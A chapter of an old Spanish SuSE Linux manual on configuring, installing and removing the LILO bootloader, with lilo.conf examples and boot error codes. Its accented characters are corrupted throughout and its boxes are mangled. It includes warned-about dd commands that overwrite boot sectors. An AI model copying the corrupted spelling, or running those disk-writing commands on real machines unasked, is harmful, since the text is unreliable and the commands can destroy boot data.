4.4.2 Otras opciones de configuraci≤n (Selecci≤n)
En el apartado anterior solamente se comentaron las opciones mφnimas y mßs
significativas de /etc/lilo.conf. Aquφ se comentan otras opciones ·tiles.
Aquellas que se indican explφcitamente como opciones del tipo imagen
pertenecen al apartado de un determinado sistema operativo. Las otras
pertenecen_a_la_parte_global_de_parßmetros_de_/etc/lilo.conf.
10 Los cargadores any_b.b (Arrancar desde B:) y any_d.b (Arrancar desde el segundo disco)
son obsoletos desde la versi≤n 20 de LILO .
128
_______________________________________________________________________4.4.__LILO__α_la_carte:_La_configuraci≤n____________*
*_______________________
o backup=<fichero backup>
Indica el nombre de fichero que LILO usa para guardar un respaldo del
sector de arranque sobre el cual se instalarß. El valor por defecto es
/boot/boot.xxxx, donde xxxx representa el n·mero interno de dispositivo
de la partici≤n sobre la que se va a instalar11 .
Recomendamos usar un nombre que hable mßs por sφ mismo, como arriba
en el ejemplo (con nombre de dispositivo y fecha). Haciendo esto se
prescinde de la caracterφstica de desinstalaci≤n automßtica de LILO , pero
seg·n nuestra opini≤n, es algo que resulta mejor haciΘndolo a mano y con
mucho cuidado (ver en la pßgina 132Desinstalar LILO section.4.5).
_______________________________________________________________________________________________________________________
|||||||| íSi ya existe el fichero de respaldo, LILO no generarß ninguno nuevo! Se || |
|||||||| || |
|||||||| ha de tener en cuenta entonces de usar siempre un nombre de fichero nuevo || |
||||||||_______________________________________________________________________________________________________________||_
o compact
Instalando LILO en disquete se recomienda activar esta opci≤n. LILO
trata de leer durante el arranque varios sectores simultßneamente y seg·n
la computadora usada puede arrancar mßs rßpidamente. Lamentable-
mente no funciona en todas.
o disk=<Fichero de dispositivo>
bios=<BIOS-n·mero de dispositivo>
cylinders=<Cantidad>
heads=<Cantidad>
sectors=<Cantidad>
Aquφ es posible indicar directamente a LILO cußl n·mero de dispositivo
de BIOS y cußl geometrφa debe usar para acceder directamente a los
sectores de un determinado disco. íSe necesita hacer esto pocas veces!
Aplicaci≤n mßs importante:
Mezcla de discos IDE-SCSI: Si se tiene una BIOS que permite el orden
de arranque SCSI antes de IDE y se quiere usar esta opci≤n, es necesario
informar a LILO especialmente sobre el cambio de orden de los discos
desde el punto de vista de la BIOS. Esto se efect·a con un apunte extra en
la parte global de lilo.conf como p. ej. en el fichero 4.4.3 para el caso
de un sistema con un disco IDE y uno SCSI.
_______________________________________________________________________________________________________________________||
|||||||| # Enable LILO to correctly access /dev/sda and /dev/hda |
|||||||| # at boot time if their boot order is interchanged in |
|||||||| |
|||||||| # the BIOS: |
|||||||| disk = /dev/sda # The SCSI disk is regarded as... |
|||||||| |
|||||||| bios = 0x80 # ...first BIOS disk; |
|||||||| disk = /dev/hda # the IDE disk is regarded as... |
|||||||| bios = 0x81 # ...second BIOS disk. |
||||||||_______________________________________________________________________________________________________________ |
Fichero 4.4.3: Extracto de lilo.conf : Orden de arranque: SCSI ante IDE
o linear
11 ____________________________________________________
Esto se encuentra detallado en las fuentes del kernel en /usr/src/linux/init/main.c,
funci≤n parse_root_dev().
*
* 129
4. Arrancar y gestor_de_arranque__________________________________________________________________________________________________*
*_______________________________________@
Indicando esta opci≤n, LILO anota durante la instalaci≤n todas las refer-
encias en los sectores como direcciones l≤gicas y no fφsicas, asφ que Θstas
se hacen independientes de la geometrφa del disco. Esta opci≤n estß pre-
vista, ya que en el momento de arranque, la BIOS reconoce en el caso
de algunas tarjetas controladoras, una geometrφa diferente a la del sistema
Linux. íSe necesita hacer esto pocas veces!
La opci≤n linear no evita el problema del lφmite de 1024 cilindros, que
se establece por la geometrφa de la BIOS para el disco duro que arranca el
sistema.
o message=<fichero-message>
Indica el nombre de un fichero de texto, que LILO muestra en el primer
momento en pantalla. No debe tener mßs de 24 lφneas (para que no se
mueva hacia arriba) y puede p. ej. explicar la elecci≤n de arranque con
LILO que vendrß poco despuΘs. Un mensaje de saludo semejante ya se
conoce del disquete de arranque de SuSE que se encuentra en el paquete;
se recomienda.
________________________________________________________________________________________________________*
*________||
| El fichero message pertenece a la maquinaria de arranque de LILO . *
* ||||
| íCualquier cambio en Θl requiere una nueva instalaci≤n de LILO (aparta- *
* |||
| *
* |||
| do 4.5 en la pßgina siguiente)! *
* |||
|_______________________________________________________________________________________________________*
*________|||_
o password=<contrase±a>
Esta opci≤n puede encontrarse al comienzo, en la secci≤n de los parßmet-
ros o bien en la secci≤n de sistema. Lo que hace es asegurar el acceso a
los servicios de LILO o al inicio del correspondiente sistema operativo.
Si se pone en serio una contrase±a se deberφa borrar Θsta inmediatamente
despuΘs del primer uso del fichero lilo.conf, ya que trabajando como
root no es problema definir una nueva contrase±a en cualquier momen-
to. ~Ademßs, se recomienda usar la opci≤n restricted , De lo contrario
serφa posible iniciar directamente un Shell con un parßmetro; ver la pßgina
del manual de lilo.conf (man lilo.conf )!
o read-only
Con esta opci≤n, LILO indica al kernel montar la partici≤n raφz en modo
de solo-lectura, tal como es usual al inicio de sistemas Linux. Dejando
esta opci≤n, el kernel usa la configuraci≤n predeterminada 12 .
o delay=<dΘcimas de segundo>
Cuando por defecto no aparece ning·n prompt, el usuario puede_hacerlo___ ______
aparecer en el momento del inicio de LILO pulsando | ___________S|hift, *|______C|trl,
|_____|Alt. La opci≤n delay indica el intervalo de tiempo en el que LILO
espera que se pulse la tecla antes de cargar automßticamente el primer
sistema de su lista de sistemas operativos. El valor predeterminado es 0 ,
o sea, ning·n tiempo de espera.
Evidentemete la opci≤n delay es innecesaria cuando ya se estß forzando
un prompt usando la directriz prompt en el fichero lilo.conf.
1_____________________________________________2
La configuraci≤n se ve con el comando rdev -R <kernelimage> . Los kernel de instalaci≤n
y cada kernel compilado nuevamente ya estßn en modo read-only por lo cual casi no se necesita
esta opci≤n. (íPruΘbelo!)
130
___________________________________________________________________4.5.__Instalaci≤n_y_desinstalaci≤n_de_LILO_______________*
*______________________
o vga=<mode>
Seleccione el modo VGA para el inicio. Valores vßlidos para <mode>
son: normal (para 80x25), ext (para 80x50) o ask (preguntar en el
inicio).
o append="<parßmetro>"
Opci≤n ''image'' para el kernel de Linux. Permite pasar parßmetros del
kernel como por ejemplo cuando se indican componentes de hardware,
tal como se puede hacer en el prompt de LILO . El kernel recibe primero
la lφnea append y despuΘs los parßmetros introducidos en el prompt. Por
lo cual en caso de duda, los parßmetros del prompt se superponen.
Ejemplo: append="mcd=0x300,10"
4.5 Instalaci≤n y desinstalaci≤n de LILO
Instalando Linux desde cero, YaST guφa al usuario de manera interactiva
por los pasos necesarios. Normalmente no se necesitan retoques a mano
instalando LILO . No obstante, aquφ suponemos la integraci≤n de LILO en
un sistema ya instalado y usando algunas opciones especiales.
_______________________________________________________________________________________________________________________||
|||||||| La instalaci≤n de un gestor de arranque es una intervenci≤n profunda y por ||| |
|||||||| tanto conlleva algo de riesgo. En todo caso, íantes de la instalaci≤n de || |
|||||||| || |
|||||||| LILO , es mejor asegurarse de que se puede arrancar Linux con disquetes || |
|||||||| y a lo mejor tambiΘn los demßs sistemas operativos! Sobre todo se tiene || |
|||||||| || |
|||||||| que poder usar fdisk . || |
||||||||_______________________________________________________________________________________________________________||_
Instalaci≤n despuΘs del cambio de configuraci≤n
Si se ha cambiado alguno de los componentes de LILO (ver en la pßgi-
na 123┐QuΘ partes conforman LILO ?Hfootnote.16) o si se ha modificado su
configuraci≤n en /etc/lilo.conf, hace falta instalar LILO de nuevo. Esto
se lleva a cabo con la llamada al instalador map (ingl. map-installer):
tierra: # /sbin/lilo
Primero LILO genera un respaldo del sector de arranque destino, graba allφ
su ''primera fase'' y genera despuΘs un nuevo fichero map (ver en la pßgi-
na 123┐QuΘ partes conforman LILO ?Hfootnote.16). LILO confirma en pan-
talla los sistemas instalados, lo que resulta para el ejemplo de arriba en el
salida en pantalla 4.5.1:
_______________________________________________________________________________________________________________________
|||||||| Added Linux* |
|||||||| Added Linux.old |
|||||||| |
||||||||_Added__DOS____________________________________________________________________________________________________ |
Mensaje en pantalla 4.5.1: Indicaciones llamando a LILO
Una vez terminada la instalaci≤n, se puede arrancar la computadora de nuevo:
tierra: # shutdown -r now
DespuΘs del test de sistema de la BIOS, LILO muestra el prompt que_permite_
pasar parßmetros al kernel y elegir la imagen de arranque. Con |____Ta|bse pueden
ver los nombres de las configuraciones instaladas.
*
* 131
4. Arrancar y gestor_de_arranque__________________________________________________________________________________________________*
*_______________________________________@
Instalaci≤n despuΘs de la recompilaci≤n del kernel
Para integrar un kernel nuevo, aparte de la reinstalaci≤n de LILO a mano,
existe otra posibilidad mßs c≤moda:
La organizaci≤n de los comandos para configurar y generar un kernel se en-
cuentran en el fichero /usr/src/linux/Makefile que debe definir el path
de la instalaci≤n como INSTALL_PATH=/boot (ver el apartado 13.5 en la
pßgina 353Compilaci≤n del kernelsection.13.5) . Este Makefile contiene
un target denominado bzlilo que efect·a automßticamente algunas ac-
ciones despuΘs de la compilaci≤n del kernel: Renombra el kernel actual de
/boot/vmlinuz (antes /vmlinuz) a /boot/vmlinuz.old, escribe el ker-
nel nuevo a /boot/vmlinuz y finalmente reinstala LILO . Todo esto se eje-
cuta con la sencilla orden:
tierra:/usr/src/linux # make bzlilo
Esto evidentemente s≤lo tiene sentido si /etc/lilo.conf ha sido prepara-
do con anterioridad a la reinstalaci≤n y el kernel antiguo realmente se en-
cuentra en /boot/vmlinuz. Por seguridad, tambiΘn se deberφa apuntar en-
tre las imßgenes para arrancar, la del antiguo kernel, por ejemplo, asφ co-
mo estß hecho en el fichero 4.4.1 en la pßgina 126El contenido del fichero
lilo.conf subsection.4.4.1.
Asφ es posible elegir en el prompt de arranque de LILO el kernel nuevo y
tambiΘn el antiguo probado (nombre en el ejemplo Linux.old ). De este
modo se genera un nivel adicional de seguridad, ·til si el sistema no quiere
arrancar con el nuevo kernel.
El tema de la generaci≤n de un nuevo kernel se discute en capφtulo 13 en la
pßgina 349El kernelchapter.13 en adelante.
Desinstalar LILO
________________________________________________________________________________________________________*
*________||
| La desinstalaci≤n de un gestor de arranque es una intervenci≤n profunda y *
* ||||
| *
* |||
| por tanto conlleva algo de riesgo. íEs importante en todo caso, asegurarse *
* |||
| antes de la desinstalaci≤n de LILO de que se pueda arrancar Linux con *
* |||
| *
* |||
| disquetes y a lo mejor tambiΘn los demßs sistemas operativos! Si no, se *
* |||
| puede entrar en la desagradable situaci≤n de perder el acceso a los sistemas *
* |||
| *
* |||
| operativos en el disco duro. *
* |||
|_______________________________________________________________________________________________________*
*________|||_
A lo mejor un buen dφa hace falta desinstalar LILO :-( Para desinstalarlo se
copia el contenido original del sector de arranque al mismo sobreescribien-
do asφ a LILO . Bajo Linux esto no representa ning·n problema, si existe un
respaldo vßlido (ver apartado 4.4.2 en la pßgina 128Otras opciones de config-
uraci≤n (Selecci≤n)subsection.4.4.2 Option backup ).
132
_______________________________________________________________4.6.__Generar_disquete_de_arranque_de_Linux_________________*
*_______________________
_______________________________________________________________________________________________________________________|||
|||||||| El respaldo de un sector de arranque deja de ser vßlido cuando la partici≤n ||| |
||||||||| correspondiente ha recibido un nuevo sistema de ficheros (en el mundo || ||
|||||||| DOS: cuando ha sido formateado). La tabla de partici≤n en un respaldo ||| |
|||||||| || |
|||||||| de MBR pierde completamente su validez cuando el disco ha sido repar- || |
|||||||| ticionado. Un respaldo de este estilo es una ''bomba'' que puede estallar || |
|||||||| || |
|||||||| en cualquier momento, por eso lo mejor es borrar respaldos caducados in- || |
|||||||| mediatamente. íUsar un respaldo viejo es una manera bastante segura de || |
|||||||| || |
|||||||| perder montones de datos! || |
||||||||_______________________________________________________________________________________________________________||_
Lo mßs fßcil es la recuperaci≤n de un MBR de DOS, Windows o OS/2.
Se efect·a con el siguiente comando de MS-DOS (disponible a partir de la
versi≤n DOS 5.0 en adelante):
C:\> fdisk /mbr
o con el comando de OS/2:
C:\> fdisk /newmbr
Estos comandos solamente escriben los primeros 446 Bytes al MBR (el c≤di-
go de arranque) y dejan la tabla de partici≤n sin tocar13 . No olvide activar con
fdisk la partici≤n de arranque, ya que las rutinas del MBR de DOS, Windows
y OS/2 lo necesitan.
Antes de continuar conviene hacer otro respaldo reciente del sector de LILO
en cuesti≤n; mejor un respaldo de mßs que uno de menos. DespuΘs se com-
prueba ~ como mφnimo dos veces ;-) ~ si el respaldo antiguo es correcto y si
su tama±o es de exactamente 512 bytes. Finalmente se devuelve la informa-
ci≤n del respaldo a su ubicaci≤n original usando las siguientes instrucciones,
sin confundirse entre if= y of=
o Si LILO estß en la partici≤n yyyy (p. ej. hda1, hda2,. . . ):
tierra: # dd if=/dev/yyyy of=fichero-nuevo bs=512 count=1
tierra: # dd if=fichero-respaldo of=/dev/yyyy
o Si LILO estß en el MBR del disco zzz (p. ej. hda, sda):
tierra: # dd if=/dev/zzz of=fichero-nuevo bs=512 count=1
tierra: # dd if=fichero-respaldo of=/dev/zzz bs=446 count=1
El ·ltimo comando ''tiene la precauci≤n'' de no modificar la tabla de parti-
ciones. Recuerde activar con fdisk la partici≤n que debe formar ahora la de
arranque.
A prop≤sito: ┐Se ha percatado de lo rßpido que se hace un respaldo del sector
de arranque? Por eso recomendamos hacerlo a menudo.
4.6 Generar disquete de arranque de Linux
Un disquete de arranque de Linux contiene ~ en resumen ~ uno o varios kernel
que pueden ser gestionados por LILO . Sirve para arrancar SuSE Linux en
el disco cuando ya no se puede arrancar de manera directa desde el disco, lo
13 ____________________________________________________
Salvo que el MBR (ver en la pßgina 119Master Boot Recordsection.4.1) se encuentre como no
vßlido por una ''cifra mßgica'' falsa; en este caso se borra la tabla!
*
* 133
4. Arrancar y gestor_de_arranque__________________________________________________________________________________________________*
*_______________________________________@
cual puede ser provocado por un gestor de arranque mal configurado, por un
MBR borrado o por fallos en la instalaci≤n de LILO .
Este tipo de disquete solamente carga el kernel, todo lo demßs (init , scripts de
arranque, programas importantes de sistema) se espera que lo proporcione el
sistema instalado. La interconexi≤n entre el kernel del disquete y el sistema
en el disco duro, se efect·a indicando al kernel correspondiente la partici≤n
root del disco como dispositivo root (ingl. root device).
No se debe confundir esto con los disquetes de arranque SuSE para la in-
stalaci≤n y emergencias, cuyos ficheros de imagen (ingl. image files) se en-
cuentran en el directorio /disks del primer CD, listos para ser copiados
en disquetes (apartado 16.5 en la pßgina 425El sistema de rescate de SuSE
section.16.5).
Disquete de arranque sin LILO
Si se encuentra en la buena posici≤n de no necesitar pasar ning·n parßmetro
al kernel cuando el sistema arranca 14 , lo mßs rßpido para generar un disquete
de arranque es copiar el kernel actual sobre un disquete vacφo sin errores y
ajustar correctamente el dispositivo root, si no estß hecho ya. Se usa los
siguientes comandos:
tierra: # /sbin/badblocks -v /dev/fd0 1440
tierra: # dd if=Su_Kernel of=/dev/fd0 bs=18k
tierra: # rdev /dev/fd0 Su_Partici≤n_Root
tierra: # rdev -R /dev/fd0 1
El primer comando comprueba si hay bloques da±ados (1 bloque = 1 k).
El ·ltimo comando se preocupa de que el kernel monte la partici≤n root al
principio a modo de solo-lectura, tal como debe ser siempre (los scripts de
arranque de sistema confφan en esto).
Disquete de arranque con LILO
Un disquete de arranque confortable, con mensaje de saludo, elecci≤n del
kernel, opci≤n de parßmetros y con las demßs prestaciones de LILO , se gen-
era copiando toda la maquinaria de arranque de LILO al disquete (ver en la
pßgina 123┐QuΘ partes conforman LILO ?Hfootnote.16). Para ello el disquete
necesita un sistema de ficheros, que para este caso, el mejor es minix .
Para crear el disquete manualmente, se hace lo siguiente:
o Generar un sistema de ficheros minix en un disquete vacφo con compro-
baci≤n y en caso de Θxito montarlo p. ej. bajo /mnt:
tierra: # /sbin/mkfs.minix -c /dev/fd0 1440
tierra: # /bin/mount /dev/fd0 /mnt
o Copiar los ficheros del kernel y el fichero /boot/boot.b de LILO a /mnt
(o sea en el disquete).
o Opcional: Generar un fichero /mnt/message para un mensaje de saludo.
o Generar en /mnt un fichero lilo.conf propio como figura en el
fichero 4.6.1 en la pßgina siguiente. Se debe apuntar la partici≤n raφz
______real_(cambiar_Su_Dispositivo_Raφz):____
14 Este es el caso normal, cuando el soporte de la controladora de disco forma parte del kernel
(''kernel monolφtico'').
134
_______________________________________________________________________________4.7.__Ejemplos_de_Configuraciones____________*
*______________________
|||||||| |
_______________________________________________________________________________________________________________________||||
|||||||| # LILO fichero de configuraci≤n disquete de arranque |
|||||||||# Start LILO global Section ||
|||||||| boot=/dev/fd0 # Destino de instalaci≤n: |
|||||||| install=/mnt/boot.b # Disquetera. LILO y el |
|||||||| map=/mnt/map # fichero-Map al disquete! |
|||||||| |
|||||||| message=/mnt/message # opcional |
|||||||| prompt |
|||||||| |
|||||||| timeout=100 # Espera en el prompt: 10 s |
|||||||| vga = normal # |
|||||||| |
|||||||| # End LILO global section |
|||||||| # |
|||||||| # Linux bootable partition config begins |
|||||||| |
|||||||| image = /mnt/vmlinuz # default |
|||||||| root = /dev/Su_Dispositivo_Raφz # aquφ partici≤n raφz! |
|||||||| |
|||||||| label = linux |
|||||||| # Linux bootable partition config ends |
|||||||| |
|||||||| # |
|||||||| # Aquφ apartados de sistema para kernels adicionales: |
||||||||_______________________________________________________________________________________________________________ |
Fichero 4.6.1: lilo.conf para disquete de arranque
o Usando un disco de memoria initrd, indique tambiΘn Θste en lilo.
conf; ver la informaci≤n en el apartado 16.2.3 en la pßgina 413Bootloadersubsection.16.2.3.
o Instalar LILO mediante el lilo.conf descrito:
tierra: # /sbin/lilo -C /mnt/lilo.conf
o íDesmontar el disquete y listo!
tierra: # /bin/umount /mnt
o No olvide comprobar si el disquete realmente funciona :-)
4.7 Ejemplos de Configuraciones
Si el nuevo Linux es el ·nico sistema operativo en la computadora, no hace
falta hacer nada mßs, ya que YaST ha hecho todo lo necesario durante la
instalaci≤n.
Mßs adelante se muestran un par de ejemplos para computadoras con var-
ios sistemas operativos que encuentran su complemento en las configura-
ciones localizadas en /usr/doc/howto/en/mini/Linux+*.gz, hechas por
algunos amigos de Linux, que documentan las configuraciones de sus propias
computadoras con varios sistemas operativos.
4.7.1 DOS/Windows 95/98 y Linux
Requisito: DOS/Windows 95/98 y Linux deben tener cada uno una parti-
ci≤n primaria por debajo del lφmite de los 1024 cilindros (ver en la pßgi-
na 123┐D≤nde se puede instalar LILO ?Hfootnote.17); la partici≤n de ar-
ranque de Linux (/boot ) tambiΘn puede ser del tipo l≤gico, pero siempre
debe estar completamente por debajo del lφmite de 1024 cilindros.
Una configuraci≤n adecuada para este caso ya fue mencionada en el
fichero 4.4.1 en la pßgina 126El contenido del fichero lilo.conf subsection.4.4.1.
*
* 135
4. Arrancar y gestor_de_arranque__________________________________________________________________________________________________*
*_______________________________________@
Solamente se adaptan los parßmetros de las lφneas root ,image y other , y
el pßrrafo sobre Linux.old se deja si no hay un segundo kernel (antiguo).
LILO se instala en el MBR.
Conviene guardar /etc/lilo.conf y un disquete de arranque en un lugar
seguro, ya que es justamente Windows 95/98 el que tiene una cierta tendencia
a eliminar los MBR ''ajenos''. Si sucede esto y se puede arrancar Linux
despuΘs con un disquete de arranque, el problema se resuelve con el sencillo
comando
tierra: # /sbin/lilo
4.7.2 Windows NT y Linux en un disco duro
1. Posibilidad: Uso del Gestor de arranque de NT. Este es capaz de iniciar
sectores de arranque y sus imßgenes. Con los siguientes pasos la coexis-
tencia de Linux y Windows NT se hace posible:
o Instalaci≤n de Windows NT.
o Preparar un medio (partici≤n de disco o disquete sin errores) sobre el
cual Linux pueda escribir y NT pueda leer, p. ej. FAT.
o Instalar Linux ''como es habitual'' (aquφ suponemos /dev/sda3 como
partici≤n raφz de Linux) y despuΘs montar el medio con FAT (p. ej.
en /dosa); respecto al proceso de montar unidades ver el aparta-
do 19.11.2 en la pßgina 485Montaje y desmontaje de sistemas de
ficherossubsection.19.11.2 .Cuidado: íNo usar las opciones de mount
conv=auto o conv=text !
o Instalar LILO en la partici≤n raφz (o sea /dev/sda3) no en el MBR
(/dev/sda)! Se sigue teniendo la posibilidad de configurar LILO de
modo que se pueda seleccionar entre varias imßgenes de kernel. Como
ejemplo para lilo.conf, consultar el fichero 4.7.1.
________________________________________________________________________________________________________*
*________||||
| # LILO fichero de configuraci≤n: Arrancar desde *
* |
| # partici≤n raφz /dev/sda3 *
* |
| # Start LILO global Section *
* |
| *
* |
| boot=/dev/sda3 # destino de instalaci≤n *
* |
| backup=/boot/boot.sda3.980428 # respaldo sector arranque *
* |
| *
* |
| prompt *
* |
| timeout=100 # Espera al prompt: 10 s *
* |
| vga = normal # force sane state *
* |
| *
* |
| # End LILO global section *
* |
| # Linux bootable partition config begins *
* |
| *
* |
| image = /boot/vmlinuz # default image to boot *
* |
| root = /dev/sda3 # aquφ la partici≤n raφz! *
* |
| *
* |
| label = Linux *
* |
| # Linux bootable partition config ends *
* |
|_______________________________________________________________________________________________________*
*________ |
Fichero 4.7.1: lilo.conf para arrancar una partici≤n raφz
o Copiar el sector de arranque de LILO a un fichero en el medio FAT,
p. ej.
tierra: # dd if=/dev/sda3 of=/dosa/bootsek.lin bs=512 count=1
136
_______________________________________________________________________________4.7.__Ejemplos_de_Configuraciones____________*
*______________________
íEvidentemente hay que repetir este paso y tambiΘn el siguiente de-
spuΘs de cada actualizaci≤n del kernel!
o Arrancar NT. Copiar bootsek.lin desde el medio FAT al directorio
raφz de la unidad de sistema de NT, si no se encuentra ya en Θste.
o A±adir en el fichero boot.ini (definici≤n de atributos) al final la
lφnea:
c:\bootsek.lin="Linux"
o Si todo va bien, debe existir una nueva opci≤n en el gestor de arranque
de NT cuando se arranque la computadora la pr≤xima vez.
2. Posibilidad, (desafortunadamente no funciona siempre): Instalar LILO
en el MBR y hacer como si fuera DOS (ver el ejemplo anterior); pero
cuidado, se trata de algo que aparentemente ha dejado de funcionar con
versiones mßs recientes de NT. Parece que solo quiere arrancar cuando
encuentra unas secuencias especiales (y no documentadas) en el MBR, de
las que LILO no sabe nada :-(
_______________________________________________________________________________________________________________________||
|||||||| íWindows NT (3.5* y 4.0) no reconoce los tipos de partici≤n 82 y 83 que ||| |
|||||||| || |
|||||||| usa Linux! Se debe vigilar que ning·n programa de NT ''repare'' la tabla || |
|||||||| de partici≤n en este sentido: se pueden perder datos! Lo mejor es mantener || |
|||||||| || |
|||||||| siempre un par de respaldos de seguridad vßlidos del MBR de LILO . || |
||||||||_______________________________________________________________________________________________________________||_
4.7.3 OS/2 y Linux
1. Posibilidad: Se usa el gestor de arranque de OS/2. Este es capaz de
arrancar cualquier partici≤n primaria o l≤gica dentro del lφmite de los 1024
cilindros. La responsabilidad de hacerlo realmente arrancable estß en
manos del usuario. Se configura el gestor de arranque (ingl. bootmanager)
con el fdisk de OS/2.
Preparaci≤n de Linux: Configurar el arranque a una partici≤n primaria de
Linux (normalmente la partici≤n raφz) con LILO . La configuraci≤n ·til
para esto es otra vez lilo.conf como en el fichero 4.7.1 en la pßgina
anterior. Pero antes hay que considerar algo mßs. . . :
Preparaci≤n de OS/2: OS/2 no se queda con la manera convencional
de anotar informaci≤n sobre las particiones (en los MBR de los discos
duros y en los sectores de partici≤n) sino que usa el espacio libre en estos
sectores para guardar informaci≤n adicional. Si Θsta es inconsistente, el
fdisk de OS/2 ve la tabla de particiones como da±ada y no presta los
servicios del gestor de arranque. Los programas fdisk de otros sistemas
operativos no suelen guardar informaci≤n adicional, asφ que la aparici≤n
de conflictos adicionales estß programada.
Por eso antes de instalar Linux se carga OS/2 (el sistema base de insta-
laci≤n es suficiente) y se generan las particiones Linux, como mφnimo
las l≤gicas, con el fdisk de OS/2. Esto crea en principio particiones adi-
cionales de tipo OS/2 que pueden resultar bastante molestas.
Soluci≤n: Cargar inmediatamente despuΘs el sistema de instalaci≤n de
Linux (o tambiΘn el sistema de rescate) desde el CD SuSE Linux y cam-
biar con el fdisk de Linux el tipo de partici≤n a 83 (Linux native). Asφ
OS/2 pasarß a ignorar correctamente estas particiones.
*
* 137
4. Arrancar y gestor_de_arranque__________________________________________________________________________________________________*
*_______________________________________@
2. Posibilidad: Se usa LILO como gestor de arranque principal en una
partici≤n primaria del primer disco duro15 . Se trata de un caso especial
del ejemplo siguiente en el cual aparece tambiΘn DOS.
4.7.4 DOS, OS/2 y Linux
1. Posibilidad: Si ya estß usando el OS/2 Bootmanager (gestor de arranque
OS/2) para DOS y OS/2 y lo quiere seguir usando, basta con incorporar
Linux en el men· de arranque tal como se ha explicado en el ejemplo
anterior.
2. Posibilidad: Se usa LILO como gestor de arranque principal en una
partici≤n primaria del primer disco duro.
El siguiente ejemplo para lilo.conf (fichero 4.7.2 en la pßgina sigu-
iente) es mßs complicado y supone que las particiones de arranque de
DOS (primaria) y de Linux (primaria) se encuentran en el primer disco
y la de OS/2 (l≤gica) en el segundo ~ todas dentro de los primeros 1024
cilindros. OS/2 se encuentra en el segundo disco por lo que se usa el
loader especial /boot/os2_d.b en lugar de /boot/chain.b.
No importa si el c≤digo del MBR es de MS-DOS o de OS/2. En la tabla
de particiones hay que activar con el programa fdisk la partici≤n de LILO
/dev/sda4.
4.8 Problemas con LILO
Algunas reglas
Para comenzar, algunas reglas con las que se evitan desde un principio
muchos problemas con LILO (tomadas del libro para usuarios de LILO
[Alm96 ]):
o íQue no cunda el pßnico! Antes de intentar arreglar el fallo se debe tratar
de definirlo bien, encontrar su causa y despuΘs comprobar la diagnosis.
o Mantener siempre al alcance un disquete de arranque actual y comproba-
do.
Desde la versi≤n 5.0, SuSE Linux contiene en el disquete de arranque
y en el CD de instalaci≤n un sistema Linux aut≤nomo (sistema de
rescate, apartado 16.5 en la pßgina 425El sistema de rescate de SuSE
section.16.5), con el cual se puede acceder a todas las particiones de
Linux. TambiΘn hay allφ bastantes herramientas para resolver problemas
de pΘrdida de acceso a los discos
o Consultar la documentaci≤n, especialmente cuando la computadora hace
algo que aparentemente no deberφa hacer.
o Antes de cualquier llamada al instalador map (/sbin/lilo), comprobar
cuidadosamente el fichero de configuraci≤n /etc/lilo.conf.
o Ejecutar /sbin/lilo cada vez que se cambie alg·n componente de la
maquinaria de arranque de LILO o cuando se haya modificado el fichero
______de_configuraci≤n_de_LILO_/etc/lilo.conf._
15 Peor serφa usar el MBR, porque en cada cambio de partici≤n con un fdisk ajeno Θste graba el
MBR de nuevo y asφ podrφa borrar LILO .
138
___________________________________________________________________________________________4.8.__Problemas_con_LILO_________*
*______________________||||
|||||||| |
_______________________________________________________________________________________________________________________||
|||||||| # LILO fichero de configuraci≤n |
|||||||| |
|||||||| # Start LILO global Section |
|||||||| boot = /dev/sda4 # LILO en partici≤n raφz de Linux |
|||||||| backup = /boot/boot.sda4.970428 |
|||||||| |
|||||||| message = /boot/message # Mensaje de saludo |
|||||||| prompt |
|||||||| |
|||||||| delay = 100 |
|||||||| vga = normal |
|||||||| |
|||||||| # |
|||||||| # Linux bootable partition config begins |
|||||||| |
|||||||| image = /boot/vmlinuz |
|||||||| label = linux |
|||||||| |
|||||||| root = /dev/sda4 |
|||||||| # Linux bootable partition config ends |
|||||||| # |
|||||||| |
|||||||| # OS/2 bootable partition config begins |
|||||||| other = /dev/sdb5 |
|||||||| |
|||||||| table = /dev/sdb |
|||||||| label = os2 |
|||||||| |
|||||||| loader = /boot/os2_d.b |
|||||||| # New for LILO v20 and newer: interchange disk drives: |
|||||||| |
|||||||| map-drive = 0x80 # first hd: BIOS number 0x80 |
|||||||| to = 0x81 # second hd: BIOS number 0x81 |
|||||||| |
|||||||| map-drive = 0x81 |
|||||||| to = 0x80 |
|||||||| # OS/2 bootable partition config ends |
|||||||| |
|||||||| # |
|||||||| # DOS bootable partition config begins |
|||||||| |
|||||||| other = /dev/sda1 |
|||||||| table = /dev/sda |
|||||||| |
|||||||| label = dos |
|||||||| # DOS bootable partition config ends |
||||||||_______________________________________________________________________________________________________________ |
Fichero 4.7.2: LILO con DOS, OS/2 y Linux en dos discos duros
o Hace falta un cuidado especial teniendo varios discos o uno grande: con-
sidere el lφmite de 1024 cilindros!
o Hacer pruebas con y sin la opci≤n linear (generalmente va mejor "sin").
4.8.1 Diagn≤stico de errores: Mensajes de inicio de LILO
Lo que aquφ se refleja es bßsicamente la traducci≤n de un apartado de
[Alm96 ], la descripci≤n de LILO escrita por Werner Almesberger.
Cuando LILO se carga, muestra en pantalla la palabra `LILO'. La aparici≤n
de cada letra indica la terminaci≤n de una determinada fase, por lo tanto,
las letras que ya han salido en pantalla indican en quΘ momento apareci≤ el
problema.
(nada) No se carg≤ ninguna parte de LILO . Puede que LILO no estΘ instal-
ado o no se haya iniciado la partici≤n con el sector de arranque de LILO .
*
* 139
4. Arrancar y gestor_de_arranque__________________________________________________________________________________________________*
*_______________________________________@
`L' error : : : Se carg≤ e inici≤ la ''primera fase'' pero no fue capaz de cargar
la segunda (/boot/boot.b). Esto generalmente indica un error fφsico del
medio de arranque (p. ej. disquete) o una geometrφa de disco err≤nea.
`LI' Se carg≤ la segunda fase de LILO pero no pudo ser arrancada.
Esto ocurre por una geometrφa falsa de disco o por haber movido
/boot/boot.b sin reinstalaci≤n de LILO .
`LIL' Arranc≤ la segunda fase de LILO , pero Θsta no pudo cargar los datos
necesarios (punteros, etc.) del fichero map. Se trata de un error provocado
tφpicamente por un fallo fφsico del medio de arranque.
`LIL?' La segunda fase de LILO se carg≤ en un ßrea de memoria falsa. Esto
lo provoca generalmente un peque±o fallo de la geometrφa del disco o por
haber movido /boot/boot.b sin reinstalaci≤n de LILO .
`LIL-' Los valores en el fichero map no son vßlidos. El error es general-
mente provocado por un fallo en la geometrφa del disco o por haber movi-
do /boot/boot.b sin reinstalaci≤n de LILO .
`LILO' Todas las partes de LILO fueron cargadas con Θxito.
El motivo mßs frecuente de los fallos de geometrφa no son defectos fφsicos o
tablas de partici≤n no vßlidas, sino fallos durante la instalaci≤n de LILO :
o Negligencia respecto al lφmite de 1024 cilindros (ver pr≤ximo pßrrafo);
